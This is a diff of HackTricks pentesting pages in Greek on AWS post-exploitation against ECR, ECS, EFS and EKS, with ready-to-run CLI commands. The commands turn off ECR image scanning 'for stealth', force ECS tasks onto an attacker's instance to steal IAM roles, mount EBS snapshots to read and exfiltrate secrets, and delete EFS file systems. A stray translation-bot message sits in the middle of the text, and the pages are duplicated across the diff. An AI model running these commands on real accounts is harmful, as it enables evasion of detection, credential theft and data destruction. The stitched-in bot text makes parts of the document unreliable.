Registry-wide downgrade to manual (no auto scans)
|
||||
```bash
|
||||
REGION=us-east-1
|
||||
# Read current config (save to restore later)
|
||||
aws ecr get-registry-scanning-configuration --region "$REGION"
|
||||
|
||||
# Set BASIC scanning with no rules (results in MANUAL scanning only)
|
||||
aws ecr put-registry-scanning-configuration \
|
||||
--region "$REGION" \
|
||||
--scan-type BASIC \
|
||||
--rules '[]'
|
||||
```
|
||||
Δοκιμή με ένα repo και ένα image
|
||||
```bash
|
||||
acct=$(aws sts get-caller-identity --query Account --output text)
|
||||
repo=ht-scan-stealth
|
||||
aws ecr create-repository --region "$REGION" --repository-name "$repo" >/dev/null 2>&1 || true
|
||||
aws ecr get-login-password --region "$REGION" | docker login --username AWS --password-stdin ${acct}.dkr.ecr.${REGION}.amazonaws.com
|
||||
printf 'FROM alpine:3.19\nRUN echo STEALTH > /etc/marker\n' > Dockerfile
|
||||
docker build -t ${acct}.dkr.ecr.${REGION}.amazonaws.com/${repo}:test .
|
||||
docker push ${acct}.dkr.ecr.${REGION}.amazonaws.com/${repo}:test
|
||||
|
||||
# Verify no scan ran automatically
|
||||
aws ecr describe-images --region "$REGION" --repository-name "$repo" --image-ids imageTag=test --query 'imageDetails[0].imageScanStatus'
|
||||
# Optional: will error with ScanNotFoundException if no scan exists
|
||||
aws ecr describe-image-scan-findings --region "$REGION" --repository-name "$repo" --image-id imageTag=test || true
|
||||
```
|
||||
I don't have the README.md contents. Παρακαλώ επικόλλησε το περιεχόμενο του αρχείου src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation/README.md που θες να μεταφράσω (ή διέγραψε/πάρε πρόσβαση στο κείμενο).
|
||||
```bash
|
||||
# Disable scan-on-push for a specific repository
|
||||
aws ecr put-image-scanning-configuration \
|
||||
--region "$REGION" \
|
||||
--repository-name "$repo" \
|
||||
--image-scanning-configuration scanOnPush=false
|
||||
```
|
||||
Επίπτωση
|
||||
- New image pushes across the registry are not scanned automatically, reducing visibility of vulnerable or malicious content and delaying detection until a manual scan is initiated.
|
||||
|
||||
|
||||
### Registry‑wide scanning engine downgrade via `ecr:PutAccountSetting` (AWS_NATIVE -> CLAIR)
|
||||
|
||||
Μειώστε την ποιότητα ανίχνευσης ευπαθειών σε ολόκληρο το registry αλλάζοντας τον BASIC scan engine από τον προεπιλεγμένο AWS_NATIVE στον legacy CLAIR engine. Αυτό δεν απενεργοποιεί τη σάρωση αλλά μπορεί να αλλάξει ουσιωδώς τα ευρήματα/την κάλυψη. Συνδυάστε με μια BASIC registry scanning configuration χωρίς κανόνες για να καταστήσετε τις scans μόνο χειροκίνητες.
|
||||
|
||||
Απαιτήσεις
|
||||
- `ecr:PutAccountSetting`, `ecr:GetAccountSetting`
|
||||
- (Προαιρετικό) `ecr:PutRegistryScanningConfiguration`, `ecr:GetRegistryScanningConfiguration`
|
||||
|
||||
Επίπτωση
|
||||
- Registry setting `BASIC_SCAN_TYPE_VERSION` set to `CLAIR` so subsequent BASIC scans run with the downgraded engine. CloudTrail records the `PutAccountSetting` API call.
|
||||
|
||||
Βήματα
|
||||
```bash
|
||||
REGION=us-east-1
|
||||
|
||||
# 1) Read current value so you can restore it later
|
||||
aws ecr get-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION || true
|
||||
|
||||
# 2) Downgrade BASIC scan engine registry‑wide to CLAIR
|
||||
aws ecr put-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION --value CLAIR
|
||||
|
||||
# 3) Verify the setting
|
||||
aws ecr get-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION
|
||||
|
||||
# 4) (Optional stealth) switch registry scanning to BASIC with no rules (manual‑only scans)
|
||||
aws ecr put-registry-scanning-configuration --region $REGION --scan-type BASIC --rules '[]' || true
|
||||
|
||||
# 5) Restore to AWS_NATIVE when finished to avoid side effects
|
||||
aws ecr put-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION --value AWS_NATIVE
|
||||
```
|
||||
|
||||
@@ -1,57 +0,0 @@
|
||||
# AWS - ECS Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## ECS
|
||||
|
||||
Για περισσότερες πληροφορίες ελέγξτε:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-ecs-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Host IAM Roles
|
||||
|
||||
Στο ECS, ένα **IAM role μπορεί να ανατεθεί στην εργασία** που εκτελείται μέσα στο κοντέινερ. **Εάν** η εργασία εκτελείται μέσα σε μια **EC2** παρουσία, η **EC2 παρουσία** θα έχει **ένα άλλο IAM** ρόλο συσχετισμένο με αυτήν.\
|
||||
Αυτό σημαίνει ότι αν καταφέρετε να **συμβιβάσετε** μια παρουσία ECS, μπορείτε δυνητικά να **αποκτήσετε τον IAM ρόλο που σχετίζεται με το ECR και με την EC2 παρουσία**. Για περισσότερες πληροφορίες σχετικά με το πώς να αποκτήσετε αυτά τα διαπιστευτήρια, ελέγξτε:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html
|
||||
{{#endref}}
|
||||
|
||||
> [!CAUTION]
|
||||
> Σημειώστε ότι αν η EC2 παρουσία επιβάλλει το IMDSv2, [**σύμφωνα με τα έγγραφα**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), η **απάντηση του PUT request** θα έχει **όριο hop 1**, καθιστώντας αδύνατη την πρόσβαση στα μεταδεδομένα EC2 από ένα κοντέινερ μέσα στην EC2 παρουσία.
|
||||
|
||||
### Privesc to node to steal other containers creds & secrets
|
||||
|
||||
Αλλά επιπλέον, η EC2 χρησιμοποιεί το docker για να εκτελεί τις εργασίες ECs, οπότε αν μπορείτε να διαφύγετε στον κόμβο ή **να αποκτήσετε πρόσβαση στο docker socket**, μπορείτε να **ελέγξετε** ποιες **άλλες κοντέινερ** εκτελούνται, και ακόμη και **να μπείτε μέσα τους** και **να κλέψετε τους IAM ρόλους** που είναι συσχετισμένοι.
|
||||
|
||||
#### Making containers run in current host
|
||||
|
||||
Επιπλέον, ο **ρόλος της EC2 παρουσίας** θα έχει συνήθως αρκετές **άδειες** για να **ενημερώσει την κατάσταση της παρουσίας κοντέινερ** των EC2 παρουσιών που χρησιμοποιούνται ως κόμβοι μέσα στο cluster. Ένας επιτιθέμενος θα μπορούσε να τροποποιήσει την **κατάσταση μιας παρουσίας σε DRAINING**, τότε το ECS θα **αφαιρέσει όλες τις εργασίες από αυτήν** και αυτές που εκτελούνται ως **REPLICA** θα εκτελούνται **σε μια διαφορετική παρουσία,** δυνητικά μέσα στην **παρουσία του επιτιθέμενου** ώστε να μπορεί να **κλέψει τους IAM ρόλους τους** και πιθανές ευαίσθητες πληροφορίες από μέσα στο κοντέινερ.
|
||||
```bash
|
||||
aws ecs update-container-instances-state \
|
||||
--cluster <cluster> --status DRAINING --container-instances <container-instance-id>
|
||||
```
|
||||
Η ίδια τεχνική μπορεί να γίνει με **την απεγγραφή της EC2 παρουσίας από το cluster**. Αυτό είναι δυνητικά λιγότερο διακριτικό αλλά θα **αναγκάσει τις εργασίες να εκτελούνται σε άλλες παρουσίες:**
|
||||
```bash
|
||||
aws ecs deregister-container-instance \
|
||||
--cluster <cluster> --container-instance <container-instance-id> --force
|
||||
```
|
||||
Μια τελική τεχνική για να αναγκάσετε την επανεκτέλεση των εργασιών είναι να υποδείξετε στο ECS ότι το **task ή το container σταμάτησε**. Υπάρχουν 3 πιθανά APIs για να το κάνετε αυτό:
|
||||
```bash
|
||||
# Needs: ecs:SubmitTaskStateChange
|
||||
aws ecs submit-task-state-change --cluster <value> \
|
||||
--status STOPPED --reason "anything" --containers [...]
|
||||
|
||||
# Needs: ecs:SubmitContainerStateChange
|
||||
aws ecs submit-container-state-change ...
|
||||
|
||||
# Needs: ecs:SubmitAttachmentStateChanges
|
||||
aws ecs submit-attachment-state-changes ...
|
||||
```
|
||||
### Κλοπή ευαίσθητων πληροφοριών από κοντέινερ ECR
|
||||
|
||||
Η EC2 instance θα έχει πιθανώς επίσης την άδεια `ecr:GetAuthorizationToken` επιτρέποντάς της να **κατεβάσει εικόνες** (μπορείτε να αναζητήσετε ευαίσθητες πληροφορίες σε αυτές).
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
+128
@@ -0,0 +1,128 @@
|
||||
# AWS - ECS Post Exploitation
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## ECS
|
||||
|
||||
Για περισσότερες πληροφορίες δείτε:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-ecs-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Host IAM Roles
|
||||
|
||||
Στο ECS μια **IAM role μπορεί να ανατεθεί στο task** που τρέχει μέσα στο container. **If** το task τρέχει μέσα σε ένα **EC2** instance, το **EC2 instance** θα έχει **άλλη IAM** role συνημμένη σε αυτό.\
|
||||
Αυτό σημαίνει ότι αν καταφέρετε να **compromise** ένα ECS instance μπορείτε ενδεχομένως να **αποκτήσετε την IAM role που σχετίζεται με το ECR και με το EC2 instance**. Για περισσότερες πληροφορίες σχετικά με το πώς να αποκτήσετε αυτά τα credentials δείτε:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html
|
||||
{{#endref}}
|
||||
|
||||
> [!CAUTION]
|
||||
> Σημειώστε ότι αν το EC2 instance επιβάλλει IMDSv2, [**according to the docs**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), η **απάντηση του PUT request** θα έχει **hop limit of 1**, κάνοντας αδύνατη την πρόσβαση στα EC2 metadata από ένα container μέσα στο EC2 instance.
|
||||
|
||||
### Privesc to node to steal other containers creds & secrets
|
||||
|
||||
Ακόμη περισσότερο, το EC2 χρησιμοποιεί docker για να τρέχει ECS tasks, οπότε αν μπορείτε να escape στο node ή **έχετε πρόσβαση στο docker socket**, μπορείτε να **ελέγξετε** ποια **other containers** τρέχουν, και ακόμα **να μπείτε μέσα σε αυτά** και **να κλέψετε τις IAM roles** που είναι επισυναπτόμενες.
|
||||
|
||||
#### Making containers run in current host
|
||||
|
||||
Επιπλέον, το **EC2 instance role** συνήθως θα έχει αρκετά **permissions** για να **update the container instance state** των EC2 instances που χρησιμοποιούνται ως nodes μέσα στο cluster. Ένας attacker θα μπορούσε να τροποποιήσει την **state ενός instance σε DRAINING**, τότε ECS θα **αφαιρέσει όλα τα tasks από αυτό** και αυτά που τρέχουν ως **REPLICA** θα **τρέξουν σε διαφορετικό instance,** πιθανώς μέσα στο **instance του attacker**, ώστε να μπορεί να **κλέψει τις IAM roles τους** και πιθανές ευαίσθητες πληροφορίες από μέσα στο container.
|
||||
```bash
|
||||
aws ecs update-container-instances-state \
|
||||
--cluster <cluster> --status DRAINING --container-instances <container-instance-id>
|
||||
```
|
||||
Η ίδια τεχνική μπορεί να γίνει με την **αποεγγραφή του EC2 instance από το cluster**. Αυτό ενδέχεται να είναι λιγότερο διακριτικό αλλά θα **αναγκάσει τα tasks να εκτελεστούν σε άλλες instances:**
|
||||
```bash
|
||||
aws ecs deregister-container-instance \
|
||||
--cluster <cluster> --container-instance <container-instance-id> --force
|
||||
```
|
||||
Μια τελική τεχνική για να αναγκάσετε την επανεκτέλεση των εργασιών είναι να υποδείξετε στο ECS ότι η **εργασία ή το container σταμάτησε**. Υπάρχουν 3 πιθανές APIs για να το κάνετε:
|
||||
```bash
|
||||
# Needs: ecs:SubmitTaskStateChange
|
||||
aws ecs submit-task-state-change --cluster <value> \
|
||||
--status STOPPED --reason "anything" --containers [...]
|
||||
|
||||
# Needs: ecs:SubmitContainerStateChange
|
||||
aws ecs submit-container-state-change ...
|
||||
|
||||
# Needs: ecs:SubmitAttachmentStateChanges
|
||||
aws ecs submit-attachment-state-changes ...
|
||||
```
|
||||
### Κλέψε ευαίσθητες πληροφορίες από ECR containers
|
||||
|
||||
Η EC2 instance πιθανότατα θα έχει επίσης την άδεια `ecr:GetAuthorizationToken` που της επιτρέπει να **κατεβάζει images** (μπορείς να ψάξεις για ευαίσθητες πληροφορίες μέσα τους).
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
### Mount an EBS snapshot directly in an ECS task (configuredAtLaunch + volumeConfigurations)
|
||||
|
||||
Καταχράσου την εγγενή ECS EBS ενσωμάτωση (2024+) για να προσαρτήσεις τα περιεχόμενα ενός υπάρχοντος EBS snapshot απευθείας μέσα σε ένα νέο ECS task/service και να διαβάσεις τα δεδομένα από μέσα στο container.
|
||||
|
||||
- Απαιτεί (ελάχιστο):
|
||||
- ecs:RegisterTaskDefinition
|
||||
- Ένα από: ecs:RunTask OR ecs:CreateService/ecs:UpdateService
|
||||
- iam:PassRole σε:
|
||||
- ECS infrastructure role που χρησιμοποιείται για volumes (policy: `service-role/AmazonECSInfrastructureRolePolicyForVolumes`)
|
||||
- Task execution/Task roles που αναφέρονται στο task definition
|
||||
- Εάν το snapshot είναι κρυπτογραφημένο με CMK: δικαιώματα KMS για το infra role (η AWS managed policy παραπάνω περιλαμβάνει τα απαιτούμενα KMS grants για AWS managed keys).
|
||||
|
||||
- Impact: Read arbitrary disk contents from the snapshot (e.g., database files) inside the container and exfiltrate via network/logs.
|
||||
|
||||
Steps (Fargate example):
|
||||
|
||||
1) Create the ECS infrastructure role (if it doesn’t exist) and attach the managed policy:
|
||||
```bash
|
||||
aws iam create-role --role-name ecsInfrastructureRole \
|
||||
--assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ecs.amazonaws.com"},"Action":"sts:AssumeRole"}]}'
|
||||
aws iam attach-role-policy --role-name ecsInfrastructureRole \
|
||||
--policy-arn arn:aws:iam::aws:policy/service-role/AmazonECSInfrastructureRolePolicyForVolumes
|
||||
```
|
||||
2) Καταχωρήστε ένα task definition με ένα volume επισημασμένο ως `configuredAtLaunch` και προσαρτήστε το στο container. Παράδειγμα (εκτυπώνει το secret και μετά κοιμάται):
|
||||
```json
|
||||
{
|
||||
"family": "ht-ebs-read",
|
||||
"networkMode": "awsvpc",
|
||||
"requiresCompatibilities": ["FARGATE"],
|
||||
"cpu": "256",
|
||||
"memory": "512",
|
||||
"executionRoleArn": "arn:aws:iam::<ACCOUNT_ID>:role/ecsTaskExecutionRole",
|
||||
"containerDefinitions": [
|
||||
{"name":"reader","image":"public.ecr.aws/amazonlinux/amazonlinux:latest",
|
||||
"entryPoint":["/bin/sh","-c"],
|
||||
"command":["cat /loot/secret.txt || true; sleep 3600"],
|
||||
"logConfiguration":{"logDriver":"awslogs","options":{"awslogs-region":"us-east-1","awslogs-group":"/ht/ecs/ebs","awslogs-stream-prefix":"reader"}},
|
||||
"mountPoints":[{"sourceVolume":"loot","containerPath":"/loot","readOnly":true}]
|
||||
}
|
||||
],
|
||||
"volumes": [ {"name":"loot", "configuredAtLaunch": true} ]
|
||||
}
|
||||
```
|
||||
3) Δημιουργήστε ή ενημερώστε μια υπηρεσία περνώντας το EBS snapshot μέσω `volumeConfigurations.managedEBSVolume` (απαιτεί iam:PassRole στον infra role). Παράδειγμα:
|
||||
```json
|
||||
{
|
||||
"cluster": "ht-ecs-ebs",
|
||||
"serviceName": "ht-ebs-svc",
|
||||
"taskDefinition": "ht-ebs-read",
|
||||
"desiredCount": 1,
|
||||
"launchType": "FARGATE",
|
||||
"networkConfiguration": {"awsvpcConfiguration":{"assignPublicIp":"ENABLED","subnets":["subnet-xxxxxxxx"],"securityGroups":["sg-xxxxxxxx"]}},
|
||||
"volumeConfigurations": [
|
||||
{"name":"loot","managedEBSVolume": {"roleArn":"arn:aws:iam::<ACCOUNT_ID>:role/ecsInfrastructureRole", "snapshotId":"snap-xxxxxxxx", "filesystemType":"ext4"}}
|
||||
]
|
||||
}
|
||||
```
|
||||
4) Όταν ξεκινάει το task, το container μπορεί να διαβάσει τα περιεχόμενα του snapshot στη ρυθμισμένη διαδρομή mount (π.χ., `/loot`). Εξάγετε δεδομένα μέσω του network/logs του task.
|
||||
|
||||
Καθαρισμός:
|
||||
```bash
|
||||
aws ecs update-service --cluster ht-ecs-ebs --service ht-ebs-svc --desired-count 0
|
||||
aws ecs delete-service --cluster ht-ecs-ebs --service ht-ebs-svc --force
|
||||
aws ecs deregister-task-definition ht-ebs-read
|
||||
```
|
||||
|
||||
@@ -1,46 +0,0 @@
|
||||
# AWS - EFS Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## EFS
|
||||
|
||||
Για περισσότερες πληροφορίες ελέγξτε:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-efs-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### `elasticfilesystem:DeleteMountTarget`
|
||||
|
||||
Ένας επιτιθέμενος θα μπορούσε να διαγράψει έναν στόχο προσάρτησης, ενδεχομένως διαταράσσοντας την πρόσβαση στο σύστημα αρχείων EFS για εφαρμογές και χρήστες που βασίζονται σε αυτόν τον στόχο προσάρτησης.
|
||||
```sql
|
||||
aws efs delete-mount-target --mount-target-id <value>
|
||||
```
|
||||
**Πιθανές Επιπτώσεις**: Διακοπή πρόσβασης στο σύστημα αρχείων και πιθανή απώλεια δεδομένων για χρήστες ή εφαρμογές.
|
||||
|
||||
### `elasticfilesystem:DeleteFileSystem`
|
||||
|
||||
Ένας επιτιθέμενος θα μπορούσε να διαγράψει ολόκληρο το σύστημα αρχείων EFS, το οποίο θα μπορούσε να οδηγήσει σε απώλεια δεδομένων και να επηρεάσει τις εφαρμογές που βασίζονται στο σύστημα αρχείων.
|
||||
```perl
|
||||
aws efs delete-file-system --file-system-id <value>
|
||||
```
|
||||
**Πιθανές Επιπτώσεις**: Απώλεια δεδομένων και διακοπή υπηρεσίας για εφαρμογές που χρησιμοποιούν το διαγραμμένο σύστημα αρχείων.
|
||||
|
||||
### `elasticfilesystem:UpdateFileSystem`
|
||||
|
||||
Ένας επιτιθέμενος θα μπορούσε να ενημερώσει τις ιδιότητες του συστήματος αρχείων EFS, όπως τη λειτουργία απόδοσης, για να επηρεάσει την απόδοσή του ή να προκαλέσει εξάντληση πόρων.
|
||||
```sql
|
||||
aws efs update-file-system --file-system-id <value> --provisioned-throughput-in-mibps <value>
|
||||
```
|
||||
**Πιθανές Επιπτώσεις**: Υποβάθμιση της απόδοσης του συστήματος αρχείων ή εξάντληση πόρων.
|
||||
|
||||
### `elasticfilesystem:CreateAccessPoint` και `elasticfilesystem:DeleteAccessPoint`
|
||||
|
||||
Ένας επιτιθέμενος θα μπορούσε να δημιουργήσει ή να διαγράψει σημεία πρόσβασης, αλλάζοντας τον έλεγχο πρόσβασης και ενδεχομένως παρέχοντας στον εαυτό του μη εξουσιοδοτημένη πρόσβαση στο σύστημα αρχείων.
|
||||
```arduino
|
||||
aws efs create-access-point --file-system-id <value> --posix-user <value> --root-directory <value>
|
||||
aws efs delete-access-point --access-point-id <value>
|
||||
```
|
||||
**Πιθανές Επιπτώσεις**: Μη εξουσιοδοτημένη πρόσβαση στο σύστημα αρχείων, έκθεση ή τροποποίηση δεδομένων.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
+46
@@ -0,0 +1,46 @@
|
||||
# AWS - EFS Post Exploitation
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## EFS
|
||||
|
||||
Για περισσότερες πληροφορίες δείτε:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-efs-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### `elasticfilesystem:DeleteMountTarget`
|
||||
|
||||
Ένας επιτιθέμενος θα μπορούσε να διαγράψει ένα mount target, ενδεχομένως διαταράσσοντας την πρόσβαση στο σύστημα αρχείων EFS για τις εφαρμογές και τους χρήστες που βασίζονται σε αυτό το mount target.
|
||||
```sql
|
||||
aws efs delete-mount-target --mount-target-id <value>
|
||||
```
|
||||
**Πιθανός Αντίκτυπος**: Διακοπή της πρόσβασης στο σύστημα αρχείων και ενδεχόμενη απώλεια δεδομένων για χρήστες ή εφαρμογές.
|
||||
|
||||
### `elasticfilesystem:DeleteFileSystem`
|
||||
|
||||
Ένας επιτιθέμενος θα μπορούσε να διαγράψει ολόκληρο το EFS file system, κάτι που θα μπορούσε να οδηγήσει σε απώλεια δεδομένων και να επηρεάσει εφαρμογές που βασίζονται σε αυτό.
|
||||
```perl
|
||||
aws efs delete-file-system --file-system-id <value>
|
||||
```
|
||||
**Potential Impact**: Απώλεια δεδομένων και διακοπή υπηρεσιών για εφαρμογές που χρησιμοποιούν το διαγραμμένο σύστημα αρχείων.
|
||||
|
||||
### `elasticfilesystem:UpdateFileSystem`
|
||||
|
||||
Ένας επιτιθέμενος θα μπορούσε να ενημερώσει τις ιδιότητες του EFS file system, όπως το throughput mode, ώστε να επηρεάσει την απόδοσή του ή να προκαλέσει εξάντληση πόρων.
|
||||
```sql
|
||||
aws efs update-file-system --file-system-id <value> --provisioned-throughput-in-mibps <value>
|
||||
```
|
||||
**Πιθανός Αντίκτυπος**: Υπόβαθμιση της απόδοσης του συστήματος αρχείων ή εξάντληση πόρων.
|
||||
|
||||
### `elasticfilesystem:CreateAccessPoint` και `elasticfilesystem:DeleteAccessPoint`
|
||||
|
||||
Ένας επιτιθέμενος θα μπορούσε να δημιουργήσει ή να διαγράψει σημεία πρόσβασης, τροποποιώντας τον έλεγχο πρόσβασης και ενδεχομένως παραχωρώντας στον εαυτό του μη εξουσιοδοτημένη πρόσβαση στο σύστημα αρχείων.
|
||||
```arduino
|
||||
aws efs create-access-point --file-system-id <value> --posix-user <value> --root-directory <value>
|
||||
aws efs delete-access-point --access-point-id <value>
|
||||
```
|
||||
**Πιθανές Επιπτώσεις**: Μη εξουσιοδοτημένη πρόσβαση στο σύστημα αρχείων, αποκάλυψη ή τροποποίηση δεδομένων.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,143 +0,0 @@
|
||||
# AWS - EKS Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## EKS
|
||||
|
||||
Για περισσότερες πληροφορίες ελέγξτε
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-eks-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Εντοπισμός του cluster από την κονσόλα AWS
|
||||
|
||||
Εάν έχετε την άδεια **`eks:AccessKubernetesApi`** μπορείτε να **δείτε αντικείμενα Kubernetes** μέσω της κονσόλας AWS EKS ([Μάθετε περισσότερα](https://docs.aws.amazon.com/eks/latest/userguide/view-workloads.html)).
|
||||
|
||||
### Σύνδεση με το AWS Kubernetes Cluster
|
||||
|
||||
- Εύκολος τρόπος:
|
||||
```bash
|
||||
# Generate kubeconfig
|
||||
aws eks update-kubeconfig --name aws-eks-dev
|
||||
```
|
||||
- Όχι τόσο εύκολος τρόπος:
|
||||
|
||||
Αν μπορείτε να **πάρετε ένα token** με **`aws eks get-token --name <cluster_name>`** αλλά δεν έχετε δικαιώματα για να πάρετε πληροφορίες για το cluster (describeCluster), μπορείτε να **ετοιμάσετε το δικό σας `~/.kube/config`**. Ωστόσο, έχοντας το token, χρειάζεστε ακόμα το **url endpoint για να συνδεθείτε** (αν καταφέρατε να πάρετε ένα JWT token από ένα pod διαβάστε [εδώ](aws-eks-post-exploitation.md#get-api-server-endpoint-from-a-jwt-token)) και το **όνομα του cluster**.
|
||||
|
||||
Στην περίπτωσή μου, δεν βρήκα τις πληροφορίες στα CloudWatch logs, αλλά **τις βρήκα στα LaunchTemplates userData** και σε **EC2 μηχανές στο userData επίσης**. Μπορείτε να δείτε αυτές τις πληροφορίες στο **userData** εύκολα, για παράδειγμα στο επόμενο παράδειγμα (το όνομα του cluster ήταν cluster-name):
|
||||
```bash
|
||||
API_SERVER_URL=https://6253F6CA47F81264D8E16FAA7A103A0D.gr7.us-east-1.eks.amazonaws.com
|
||||
|
||||
/etc/eks/bootstrap.sh cluster-name --kubelet-extra-args '--node-labels=eks.amazonaws.com/sourceLaunchTemplateVersion=1,alpha.eksctl.io/cluster-name=cluster-name,alpha.eksctl.io/nodegroup-name=prd-ondemand-us-west-2b,role=worker,eks.amazonaws.com/nodegroup-image=ami-002539dd2c532d0a5,eks.amazonaws.com/capacityType=ON_DEMAND,eks.amazonaws.com/nodegroup=prd-ondemand-us-west-2b,type=ondemand,eks.amazonaws.com/sourceLaunchTemplateId=lt-0f0f0ba62bef782e5 --max-pods=58' --b64-cluster-ca $B64_CLUSTER_CA --apiserver-endpoint $API_SERVER_URL --dns-cluster-ip $K8S_CLUSTER_DNS_IP --use-max-pods false
|
||||
```
|
||||
<details>
|
||||
|
||||
<summary>kube config</summary>
|
||||
```yaml
|
||||
describe-cache-parametersapiVersion: v1
|
||||
clusters:
|
||||
- cluster:
|
||||
certificate-authority-data: LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSUMvakNDQWVhZ0F3SUJBZ0lCQURBTkJna3Foa2lHOXcwQkFRc0ZBREFWTVJNd0VRWURWUVFERXdwcmRXSmwKY201bGRHVnpNQjRYRFRJeU1USXlPREUyTWpjek1Wb1hEVE15TVRJeU5URTJNamN6TVZvd0ZURVRNQkVHQTFVRQpBeE1LYTNWaVpYSnVaWFJsY3pDQ0FTSXdEUVlKS29aSWh2Y05BUUVCQlFBRGdnRVBBRENDQVFvQ2dnRUJBTDlXCk9OS0ZqeXZoRUxDZGhMNnFwWkMwa1d0UURSRVF1UzVpRDcwK2pjbjFKWXZ4a3FsV1ZpbmtwOUt5N2x2ME5mUW8KYkNqREFLQWZmMEtlNlFUWVVvOC9jQXJ4K0RzWVlKV3dzcEZGbWlsY1lFWFZHMG5RV1VoMVQ3VWhOanc0MllMRQpkcVpzTGg4OTlzTXRLT1JtVE5sN1V6a05pTlUzSytueTZSRysvVzZmbFNYYnRiT2kwcXJSeFVpcDhMdWl4WGRVCnk4QTg3VjRjbllsMXo2MUt3NllIV3hhSm11eWI5enRtbCtBRHQ5RVhOUXhDMExrdWcxSDBqdTl1MDlkU09YYlkKMHJxY2lINjYvSTh0MjlPZ3JwNkY0dit5eUNJUjZFQURRaktHTFVEWUlVSkZ4WXA0Y1pGcVA1aVJteGJ5Nkh3UwpDSE52TWNJZFZRRUNQMlg5R2c4Q0F3RUFBYU5aTUZjd0RnWURWUjBQQVFIL0JBUURBZ0trTUE4R0ExVWRFd0VCCi93UUZNQU1CQWY4d0hRWURWUjBPQkJZRUZQVXFsekhWZmlDd0xqalhPRmJJUUc3L0VxZ1hNQlVHQTFVZEVRUU8KTUF5Q0NtdDFZbVZ5Ym1WMFpYTXdEUVlKS29aSWh2Y05BUUVMQlFBRGdnRUJBS1o4c0l4aXpsemx0aXRPcGcySgpYV0VUSThoeWxYNWx6cW1mV0dpZkdFVVduUDU3UEVtWW55eWJHbnZ5RlVDbnczTldMRTNrbEVMQVE4d0tLSG8rCnBZdXAzQlNYamdiWFovdWVJc2RhWlNucmVqNU1USlJ3SVFod250ZUtpU0J4MWFRVU01ZGdZc2c4SlpJY3I2WC8KRG5POGlHOGxmMXVxend1dUdHSHM2R1lNR0Mvd1V0czVvcm1GS291SmtSUWhBZElMVkNuaStYNCtmcHUzT21UNwprS3VmR0tyRVlKT09VL1c2YTB3OTRycU9iSS9Mem1GSWxJQnVNcXZWVDBwOGtlcTc1eklpdGNzaUJmYVVidng3Ci9sMGhvS1RqM0IrOGlwbktIWW4wNGZ1R2F2YVJRbEhWcldDVlZ4c3ZyYWpxOUdJNWJUUlJ6TnpTbzFlcTVZNisKRzVBPQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tCg==
|
||||
server: https://6253F6CA47F81264D8E16FAA7A103A0D.gr7.us-west-2.eks.amazonaws.com
|
||||
name: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
|
||||
contexts:
|
||||
- context:
|
||||
cluster: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
|
||||
user: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
|
||||
name: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
|
||||
current-context: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
|
||||
kind: Config
|
||||
preferences: {}
|
||||
users:
|
||||
- name: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
|
||||
user:
|
||||
exec:
|
||||
apiVersion: client.authentication.k8s.io/v1beta1
|
||||
args:
|
||||
- --region
|
||||
- us-west-2
|
||||
- --profile
|
||||
- <profile>
|
||||
- eks
|
||||
- get-token
|
||||
- --cluster-name
|
||||
- <cluster-name>
|
||||
command: aws
|
||||
env: null
|
||||
interactiveMode: IfAvailable
|
||||
provideClusterInfo: false
|
||||
```
|
||||
</details>
|
||||
|
||||
### Από το AWS στο Kubernetes
|
||||
|
||||
Ο **δημιουργός** του **EKS cluster** θα είναι **ΠΑΝΤΑ** σε θέση να εισέλθει στο μέρος του kubernetes cluster της ομάδας **`system:masters`** (k8s admin). Στη στιγμή που γράφεται αυτό, δεν υπάρχει **άμεσος τρόπος** να βρείτε **ποιος δημιούργησε** το cluster (μπορείτε να ελέγξετε το CloudTrail). Και δεν υπάρχει **τρόπος** να **αφαιρεθεί** αυτό το **προνόμιο**.
|
||||
|
||||
Ο τρόπος για να παραχωρήσετε **πρόσβαση σε περισσότερους χρήστες ή ρόλους AWS IAM** είναι χρησιμοποιώντας το **configmap** **`aws-auth`**.
|
